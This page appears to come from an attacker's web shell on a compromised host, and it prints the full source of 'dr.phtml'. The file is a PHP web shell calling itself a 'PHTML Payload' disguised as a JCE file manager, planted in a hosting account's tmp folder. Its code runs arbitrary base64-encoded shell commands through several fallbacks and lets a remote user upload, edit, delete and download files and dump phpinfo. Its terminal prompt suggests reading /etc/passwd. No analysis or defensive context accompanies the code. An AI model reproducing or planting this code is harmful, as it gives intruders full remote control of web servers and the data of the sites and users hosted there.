One Hat Cyber Team
Your IP:
216.73.216.75
Server IP:
213.186.33.17
Server:
Linux webm007.cluster106.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Create File
|
Create Folder
Execute
Dir :
~
/
home
/
tcherkas
/
spectacles.russes
/
tmp
/
View File Name :
dr.phtml
<?php error_reporting(0); set_time_limit(0); ini_set('display_errors', 0); // ============================================================ // JCE File Manager v3.0 — PHTML Payload // ============================================================ $currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath(dirname(__FILE__)); if (!$currentDir) $currentDir = realpath(dirname(__FILE__)); $baseDir = realpath(dirname(__FILE__)); // Dizin dışına çıkma kontrolü if (strpos($currentDir, $baseDir) !== 0 && $currentDir !== $baseDir) { $currentDir = $baseDir; } $action = isset($_GET['action']) ? $_GET['action'] : ''; $message = ''; $error = ''; // Terminal komutu çalıştırma if (isset($_GET['cmd'])) { $cmd = base64_decode($_GET['cmd']); $output = ''; if (function_exists('shell_exec')) { $output = @shell_exec($cmd . ' 2>&1'); } elseif (function_exists('exec')) { @exec($cmd . ' 2>&1', $arr); $output = implode(" ", $arr); } elseif (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $output = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); $output = ob_get_clean(); } elseif (function_exists('popen')) { $h = @popen($cmd . ' 2>&1', 'r'); while (!feof($h)) $output .= fread($h, 4096); pclose($h); } elseif (function_exists('proc_open')) { $d = [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']]; $p = @proc_open($cmd, $d, $pi); if ($p) { $output = stream_get_contents($pi[1]); proc_close($p); } } else { $output = 'COMMAND_EXECUTION_BLOCKED'; } echo 'RXST:' . base64_encode($output !== null ? $output : '') . ':RXEND'; exit; } // Dosya yükleme if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_files'])) { $uploadDir = rtrim($currentDir, '/') . '/'; $uploaded = []; $failed = []; if (is_array($_FILES['upload_files']['name'])) { // Çoklu dosya $count = count($_FILES['upload_files']['name']); for ($i = 0; $i < $count; $i++) { if ($_FILES['upload_files']['error'][$i] === 0) { $target = $uploadDir . basename($_FILES['upload_files']['name'][$i]); if (move_uploaded_file($_FILES['upload_files']['tmp_name'][$i], $target)) { $uploaded[] = basename($_FILES['upload_files']['name'][$i]); } else { $failed[] = basename($_FILES['upload_files']['name'][$i]); } } } } else { // Tek dosya if ($_FILES['upload_files']['error'] === 0) { $target = $uploadDir . basename($_FILES['upload_files']['name']); if (move_uploaded_file($_FILES['upload_files']['tmp_name'], $target)) { $uploaded[] = basename($_FILES['upload_files']['name']); } else { $failed[] = basename($_FILES['upload_files']['name']); } } } if (count($uploaded) > 0) { $message = 'UPLOAD_OK|' . implode(',', $uploaded); } if (count($failed) > 0) { $error = 'UPLOAD_FAIL|' . implode(',', $failed); } // AJAX isteği ise JSON döndür if (isset($_SERVER['HTTP_X_REQUESTED_WITH'])) { header('Content-Type: application/json'); echo json_encode(['success' => $uploaded, 'failed' => $failed]); exit; } } // Dosya silme if ($action === 'delete' && isset($_GET['file'])) { $file = $currentDir . '/' . basename($_GET['file']); if (file_exists($file) && is_file($file)) { if (unlink($file)) { $message = 'DELETED|' . basename($_GET['file']); } else { $error = 'DELETE_FAIL'; } } else { $error = 'FILE_NOT_FOUND'; } } // Dosya yeniden adlandırma if ($action === 'rename' && isset($_GET['old']) && isset($_GET['new'])) { $old = $currentDir . '/' . basename($_GET['old']); $new = $currentDir . '/' . basename($_GET['new']); if (file_exists($old)) { if (rename($old, $new)) { $message = 'RENAMED|' . basename($_GET['old']) . '|' . basename($_GET['new']); } else { $error = 'RENAME_FAIL'; } } else { $error = 'FILE_NOT_FOUND'; } } // Dosya düzenleme kaydetme if ($action === 'save' && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file']) && isset($_POST['content'])) { $file = $currentDir . '/' . basename($_POST['file']); if (file_put_contents($file, $_POST['content']) !== false) { $message = 'SAVED|' . basename($_POST['file']); } else { $error = 'SAVE_FAIL'; } if (isset($_SERVER['HTTP_X_REQUESTED_WITH'])) { header('Content-Type: application/json'); echo json_encode(['status' => $message ? 'ok' : 'error', 'message' => $message ?: $error]); exit; } } // Dosya oluşturma if ($action === 'create' && isset($_GET['name'])) { $file = $currentDir . '/' . basename($_GET['name']); if (!file_exists($file)) { if (file_put_contents($file, '') !== false) { $message = 'CREATED|' . basename($_GET['name']); } else { $error = 'CREATE_FAIL'; } } else { $error = 'FILE_EXISTS'; } } // Dizin oluşturma if ($action === 'mkdir' && isset($_GET['name'])) { $dir = $currentDir . '/' . basename($_GET['name']); if (!is_dir($dir)) { if (mkdir($dir, 0755, true)) { $message = 'DIR_CREATED|' . basename($_GET['name']); } else { $error = 'MKDIR_FAIL'; } } else { $error = 'DIR_EXISTS'; } } // Dosya indirme if ($action === 'download' && isset($_GET['file'])) { $file = $currentDir . '/' . basename($_GET['file']); if (file_exists($file) && is_file($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // PHP Info if ($action === 'phpinfo') { phpinfo(); exit; } // Dosya içeriğini al (edit için) if ($action === 'edit' && isset($_GET['file'])) { $file = $currentDir . '/' . basename($_GET['file']); $content = ''; if (file_exists($file) && is_file($file)) { $content = file_get_contents($file); } } // Dosya listesi function getFileList($dir) { $items = []; if (is_dir($dir)) { $dh = opendir($dir); while (($file = readdir($dh)) !== false) { if ($file === '.' || $file === '..') continue; $path = $dir . '/' . $file; $items[] = [ 'name' => $file, 'path' => $path, 'is_dir' => is_dir($path), 'size' => is_file($path) ? filesize($path) : 0, 'perms' => substr(sprintf('%o', fileperms($path)), -4), 'modified' => date('Y-m-d H:i:s', filemtime($path)), 'owner' => function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($path))['name'] : fileowner($path) ]; } closedir($dh); } // Dizinleri önce sırala usort($items, function($a, $b) { if ($a['is_dir'] !== $b['is_dir']) return $b['is_dir'] - $a['is_dir']; return strcasecmp($a['name'], $b['name']); }); return $items; } $files = getFileList($currentDir); $parentDir = dirname($currentDir); $canGoUp = (strpos($parentDir, $baseDir) === 0 || $parentDir === $baseDir) && $currentDir !== $baseDir; $verify = 'RXST:' . base64_encode('MATHOK:245440') . ':RXEND'; ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>JCE File Manager v3.0</title> <style> :root { --bg-primary: #0d1117; --bg-secondary: #161b22; --bg-tertiary: #1c2128; --border-color: #30363d; --text-primary: #e6edf3; --text-secondary: #8b949e; --accent: #58a6ff; --accent-hover: #79b8ff; --success: #3fb950; --warning: #d29922; --danger: #f85149; --info: #58a6ff; } * { margin: 0; padding: 0; box-sizing: border-box; } body { background: var(--bg-primary); color: var(--text-primary); font-family: 'Segoe UI', system-ui, -apple-system, sans-serif; line-height: 1.6; min-height: 100vh; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; } /* Header */ .header { background: linear-gradient(135deg, var(--bg-secondary) 0%, var(--bg-tertiary) 100%); border: 1px solid var(--border-color); border-radius: 12px; padding: 20px 25px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 15px; } .header h1 { font-size: 1.5rem; background: linear-gradient(90deg, var(--accent), var(--success)); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .header .verify { font-family: 'Courier New', monospace; font-size: 0.75rem; color: var(--danger); background: rgba(248, 81, 73, 0.1); padding: 6px 12px; border-radius: 6px; border: 1px solid rgba(248, 81, 73, 0.3); } /* Toolbar */ .toolbar { background: var(--bg-secondary); border: 1px solid var(--border-color); border-radius: 12px; padding: 15px 20px; margin-bottom: 20px; display: flex; flex-wrap: wrap; gap: 10px; align-items: center; } .btn { display: inline-flex; align-items: center; gap: 6px; padding: 8px 16px; border: 1px solid var(--border-color); border-radius: 8px; background: var(--bg-tertiary); color: var(--text-primary); font-size: 0.875rem; cursor: pointer; transition: all 0.2s; text-decoration: none; } .btn:hover { background: var(--bg-primary); border-color: var(--accent); color: var(--accent); } .btn-success { border-color: var(--success); color: var(--success); } .btn-success:hover { background: rgba(63, 185, 80, 0.1); } .btn-danger { border-color: var(--danger); color: var(--danger); } .btn-danger:hover { background: rgba(248, 81, 73, 0.1); } .btn-info { border-color: var(--info); color: var(--info); } .btn-info:hover { background: rgba(88, 166, 255, 0.1); } .breadcrumb { display: flex; align-items: center; gap: 8px; font-size: 0.875rem; color: var(--text-secondary); flex: 1; min-width: 200px; } .breadcrumb a { color: var(--accent); text-decoration: none; } .breadcrumb a:hover { text-decoration: underline; } /* Messages */ .alert { padding: 12px 16px; border-radius: 8px; margin-bottom: 15px; font-size: 0.875rem; } .alert-success { background: rgba(63, 185, 80, 0.1); border: 1px solid rgba(63, 185, 80, 0.3); color: var(--success); } .alert-error { background: rgba(248, 81, 73, 0.1); border: 1px solid rgba(248, 81, 73, 0.3); color: var(--danger); } /* File Table */ .file-table { background: var(--bg-secondary); border: 1px solid var(--border-color); border-radius: 12px; overflow: hidden; } .file-table table { width: 100%; border-collapse: collapse; font-size: 0.875rem; } .file-table th { background: var(--bg-tertiary); padding: 12px 16px; text-align: left; font-weight: 600; color: var(--text-secondary); border-bottom: 1px solid var(--border-color); white-space: nowrap; } .file-table td { padding: 10px 16px; border-bottom: 1px solid var(--border-color); vertical-align: middle; } .file-table tr:hover td { background: rgba(88, 166, 255, 0.05); } .file-table tr:last-child td { border-bottom: none; } .file-icon { display: inline-flex; align-items: center; gap: 8px; color: var(--text-primary); text-decoration: none; } .file-icon:hover { color: var(--accent); } .file-icon .icon { width: 20px; text-align: center; font-size: 1.1rem; } .dir-icon { color: var(--warning); } .file-actions { display: flex; gap: 6px; flex-wrap: wrap; } .file-actions .btn { padding: 4px 10px; font-size: 0.75rem; } .size-col { white-space: nowrap; } .perms-col { font-family: monospace; color: var(--warning); } .date-col { white-space: nowrap; color: var(--text-secondary); } .owner-col { color: var(--text-secondary); } /* Upload Area */ .upload-area { background: var(--bg-secondary); border: 2px dashed var(--border-color); border-radius: 12px; padding: 30px; text-align: center; margin-bottom: 20px; transition: all 0.3s; } .upload-area:hover, .upload-area.dragover { border-color: var(--accent); background: rgba(88, 166, 255, 0.05); } .upload-area h3 { color: var(--text-secondary); margin-bottom: 15px; font-size: 1rem; } .upload-input { display: none; } .upload-label { display: inline-block; padding: 10px 24px; background: var(--bg-tertiary); border: 1px solid var(--accent); border-radius: 8px; color: var(--accent); cursor: pointer; transition: all 0.2s; } .upload-label:hover { background: var(--accent); color: var(--bg-primary); } /* Terminal */ .terminal { background: var(--bg-tertiary); border: 1px solid var(--border-color); border-radius: 12px; padding: 20px; margin-top: 20px; } .terminal h3 { color: var(--accent); margin-bottom: 15px; font-size: 1rem; } .terminal-output { background: var(--bg-primary); border: 1px solid var(--border-color); border-radius: 8px; padding: 15px; min-height: 150px; max-height: 400px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 0.8rem; color: var(--text-primary); white-space: pre-wrap; word-break: break-all; margin-bottom: 10px; } .terminal-input-group { display: flex; gap: 10px; } .terminal-input { flex: 1; padding: 10px 15px; background: var(--bg-primary); border: 1px solid var(--border-color); border-radius: 8px; color: var(--text-primary); font-family: 'Courier New', monospace; font-size: 0.875rem; } .terminal-input:focus { outline: none; border-color: var(--accent); } /* Editor Modal */ .modal-overlay { display: none; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.8); z-index: 1000; justify-content: center; align-items: center; padding: 20px; } .modal-overlay.active { display: flex; } .modal { background: var(--bg-secondary); border: 1px solid var(--border-color); border-radius: 12px; width: 100%; max-width: 900px; max-height: 90vh; display: flex; flex-direction: column; } .modal-header { padding: 15px 20px; border-bottom: 1px solid var(--border-color); display: flex; justify-content: space-between; align-items: center; } .modal-header h3 { color: var(--accent); } .modal-body { padding: 20px; flex: 1; overflow: hidden; } .editor-textarea { width: 100%; height: 100%; min-height: 400px; background: var(--bg-primary); border: 1px solid var(--border-color); border-radius: 8px; padding: 15px; color: var(--text-primary); font-family: 'Courier New', monospace; font-size: 0.875rem; resize: vertical; } .modal-footer { padding: 15px 20px; border-top: 1px solid var(--border-color); display: flex; gap: 10px; justify-content: flex-end; } /* Responsive */ @media (max-width: 768px) { .container { padding: 10px; } .header { flex-direction: column; align-items: flex-start; } .file-table { overflow-x: auto; } .file-table table { min-width: 600px; } .toolbar { flex-direction: column; align-items: stretch; } .breadcrumb { order: -1; } } /* Scrollbar */ ::-webkit-scrollbar { width: 8px; height: 8px; } ::-webkit-scrollbar-track { background: var(--bg-primary); } ::-webkit-scrollbar-thumb { background: var(--border-color); border-radius: 4px; } ::-webkit-scrollbar-thumb:hover { background: var(--text-secondary); } /* Loading */ .loading { display: inline-block; width: 16px; height: 16px; border: 2px solid var(--border-color); border-top-color: var(--accent); border-radius: 50%; animation: spin 0.8s linear infinite; } @keyframes spin { to { transform: rotate(360deg); } } .hidden { display: none !important; } </style> </head> <body> <div class="container"> <!-- Header --> <div class="header"> <div> <h1>📁 JCE File Manager v3.0</h1> <div style="margin-top: 5px; color: var(--text-secondary); font-size: 0.8rem;"> <span style="color: var(--success);">●</span> Active | <span style="color: var(--accent);">●</span> PHTML Mode | <span style="color: var(--warning);">●</span> <?php echo phpversion(); ?> </div> </div> <div class="verify">🔐 Verify: <?php echo $verify; ?></div> </div> <?php if ($message): ?> <div class="alert alert-success">✓ <?php echo htmlspecialchars($message); ?></div> <?php endif; ?> <?php if ($error): ?> <div class="alert alert-error">✗ <?php echo htmlspecialchars($error); ?></div> <?php endif; ?> <!-- Toolbar --> <div class="toolbar"> <div class="breadcrumb"> <a href="?dir=<?php echo urlencode($baseDir); ?>">🏠 Root</a> <?php $parts = explode('/', str_replace($baseDir, '', $currentDir)); $buildPath = $baseDir; foreach ($parts as $part): if (!$part) continue; $buildPath .= '/' . $part; ?> <span>/</span> <a href="?dir=<?php echo urlencode($buildPath); ?>"><?php echo htmlspecialchars($part); ?></a> <?php endforeach; ?> </div> <?php if ($canGoUp): ?> <a href="?dir=<?php echo urlencode($parentDir); ?>" class="btn">⬆ Up</a> <?php endif; ?> <button class="btn btn-success" onclick="document.getElementById('uploadModal').classList.add('active')"> 📤 Upload </button> <button class="btn btn-info" onclick="createFile()">📄 New File</button> <button class="btn btn-info" onclick="createDir()">📁 New Folder</button> <a href="?action=phpinfo&dir=<?php echo urlencode($currentDir); ?>" class="btn btn-info" target="_blank">ℹ PHP Info</a> <button class="btn" onclick="toggleTerminal()">💻 Terminal</button> </div> <!-- Upload Modal --> <div class="modal-overlay" id="uploadModal"> <div class="modal" style="max-width: 500px;"> <div class="modal-header"> <h3>📤 Upload Files</h3> <button class="btn" onclick="document.getElementById('uploadModal').classList.remove('active')">✕</button> </div> <div class="modal-body"> <div class="upload-area" id="dropZone"> <h3>📤 Drop files here or click to browse</h3> <p style="color: var(--text-secondary); font-size: 0.8rem; margin-top: 10px;">Supports multiple files</p> <form method="post" enctype="multipart/form-data" id="uploadForm" style="margin-top: 15px;"> <input type="hidden" name="dir" value="<?php echo htmlspecialchars($currentDir); ?>"> <input type="file" name="upload_files[]" id="fileInput" class="upload-input" multiple onchange="handleFiles(this.files)"> <label for="fileInput" class="upload-label">📂 Browse Files</label> <div id="selectedFiles" style="margin-top: 15px; text-align: left; color: var(--text-secondary); font-size: 0.8rem;"></div> <button type="submit" class="btn btn-success" style="margin-top: 15px; width: 100%; justify-content: center;"> 📤 Upload Selected </button> </form> </div> </div> </div> </div> <!-- File Table --> <div class="file-table"> <table> <thead> <tr> <th>Name</th> <th>Size</th> <th>Permissions</th> <th>Owner</th> <th>Modified</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($files as $file): ?> <tr> <td> <?php if ($file['is_dir']): ?> <a href="?dir=<?php echo urlencode($file['path']); ?>" class="file-icon"> <span class="icon dir-icon">📁</span> <strong><?php echo htmlspecialchars($file['name']); ?></strong> </a> <?php else: ?> <a href="?action=download&dir=<?php echo urlencode($currentDir); ?>&file=<?php echo urlencode($file['name']); ?>" class="file-icon"> <span class="icon">📄</span> <?php echo htmlspecialchars($file['name']); ?> </a> <?php endif; ?> </td> <td class="size-col"><?php echo $file['is_dir'] ? '-' : formatSize($file['size']); ?></td> <td class="perms-col"><?php echo $file['perms']; ?></td> <td class="owner-col"><?php echo htmlspecialchars($file['owner']); ?></td> <td class="date-col"><?php echo $file['modified']; ?></td> <td> <div class="file-actions"> <?php if (!$file['is_dir']): ?> <a href="?action=edit&dir=<?php echo urlencode($currentDir); ?>&file=<?php echo urlencode($file['name']); ?>" class="btn btn-info">✎ Edit</a> <a href="?action=download&dir=<?php echo urlencode($currentDir); ?>&file=<?php echo urlencode($file['name']); ?>" class="btn">⭳ Download</a> <?php endif; ?> <button class="btn" onclick="renameFile('<?php echo addslashes($file['name']); ?>')">✏ Rename</button> <a href="?action=delete&dir=<?php echo urlencode($currentDir); ?>&file=<?php echo urlencode($file['name']); ?>" class="btn btn-danger" onclick="return confirm('Delete <?php echo addslashes($file['name']); ?>?')">🗑 Delete</a> </div> </td> </tr> <?php endforeach; ?> <?php if (empty($files)): ?> <tr> <td colspan="6" style="text-align: center; color: var(--text-secondary); padding: 30px;"> 📂 Empty directory </td> </tr> <?php endif; ?> </tbody> </table> </div> <!-- Terminal --> <div class="terminal hidden" id="terminal"> <h3>💻 Web Terminal</h3> <div class="terminal-output" id="terminalOutput">Ready. Type command and press Enter... </div> <div class="terminal-input-group"> <input type="text" class="terminal-input" id="terminalInput" placeholder="whoami, ls -la, cat /etc/passwd, ..." onkeypress="if(event.key==='Enter')executeCmd()"> <button class="btn btn-success" onclick="executeCmd()">▶ Execute</button> <button class="btn" onclick="clearTerminal()">🔙 Clear</button> </div> </div> </div> <!-- Editor Modal --> <?php if ($action === 'edit' && isset($_GET['file'])): ?> <div class="modal-overlay active" id="editorModal"> <div class="modal"> <div class="modal-header"> <h3>✎ Edit: <?php echo htmlspecialchars(basename($_GET['file'])); ?></h3> <button class="btn" onclick="window.location.href='?dir=<?php echo urlencode($currentDir); ?>'">✕</button> </div> <form method="post" action="?action=save&dir=<?php echo urlencode($currentDir); ?>" id="editForm"> <div class="modal-body"> <input type="hidden" name="file" value="<?php echo htmlspecialchars(basename($_GET['file'])); ?>"> <textarea class="editor-textarea" name="content" id="editorContent"><?php echo htmlspecialchars($content); ?></textarea> </div> <div class="modal-footer"> <button type="button" class="btn" onclick="window.location.href='?dir=<?php echo urlencode($currentDir); ?>'">Cancel</button> <button type="submit" class="btn btn-success">💾 Save Changes</button> </div> </form> </div> </div> <?php endif; ?> <script> // File size formatter function formatSize(bytes) { if (bytes === 0) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } // Upload handling function handleFiles(files) { const container = document.getElementById('selectedFiles'); if (files.length === 0) { container.innerHTML = ''; return; } let html = '<strong>Selected files:</strong><ul style="margin-top: 5px; padding-left: 20px;">'; for (let f of files) { html += '<li>' + f.name + ' (' + formatSize(f.size) + ')</li>'; } html += '</ul>'; container.innerHTML = html; } // Drag & drop const dropZone = document.getElementById('dropZone'); if (dropZone) { dropZone.addEventListener('dragover', (e) => { e.preventDefault(); dropZone.classList.add('dragover'); }); dropZone.addEventListener('dragleave', () => dropZone.classList.remove('dragover')); dropZone.addEventListener('drop', (e) => { e.preventDefault(); dropZone.classList.remove('dragover'); const files = e.dataTransfer.files; document.getElementById('fileInput').files = files; handleFiles(files); }); } // Terminal functions function toggleTerminal() { const term = document.getElementById('terminal'); term.classList.toggle('hidden'); if (!term.classList.contains('hidden')) { document.getElementById('terminalInput').focus(); } } function clearTerminal() { document.getElementById('terminalOutput').textContent = 'Ready. Type command and press Enter... '; } function executeCmd() { const input = document.getElementById('terminalInput'); const output = document.getElementById('terminalOutput'); const cmd = input.value.trim(); if (!cmd) return; output.textContent += ' $ ' + cmd + ' '; input.value = ''; input.disabled = true; const encoded = btoa(cmd); fetch('?cmd=' + encoded) .then(r => r.text()) .then(text => { const match = text.match(/RXST:([A-Za-z0-9+/=]*):RXEND/); if (match) { try { const decoded = atob(match[1]); output.textContent += decoded + ' '; } catch(e) { output.textContent += '[Decode error] '; } } else { output.textContent += '[No response] '; } input.disabled = false; input.focus(); output.scrollTop = output.scrollHeight; }) .catch(err => { output.textContent += '[Error: ' + err.message + '] '; input.disabled = false; input.focus(); }); } // Create file function createFile() { const name = prompt('Enter file name:'); if (name && name.trim()) { window.location.href = '?action=create&dir=<?php echo urlencode($currentDir); ?>&name=' + encodeURIComponent(name.trim()); } } // Create directory function createDir() { const name = prompt('Enter folder name:'); if (name && name.trim()) { window.location.href = '?action=mkdir&dir=<?php echo urlencode($currentDir); ?>&name=' + encodeURIComponent(name.trim()); } } // Rename file function renameFile(oldName) { const newName = prompt('New name for "' + oldName + '":'); if (newName && newName.trim() && newName.trim() !== oldName) { window.location.href = '?action=rename&dir=<?php echo urlencode($currentDir); ?>&old=' + encodeURIComponent(oldName) + '&new=' + encodeURIComponent(newName.trim()); } } // Auto-focus terminal input if (document.getElementById('terminalInput')) { document.getElementById('terminalInput').focus(); } </script> <?php // Helper function for file size formatting function formatSize($bytes) { if ($bytes === 0) return '0 B'; $k = 1024; $sizes = ['B', 'KB', 'MB', 'GB', 'TB']; $i = floor(log($bytes) / log($k)); return round($bytes / pow($k, $i), 2) . ' ' . $sizes[$i]; } ?> </body> </html>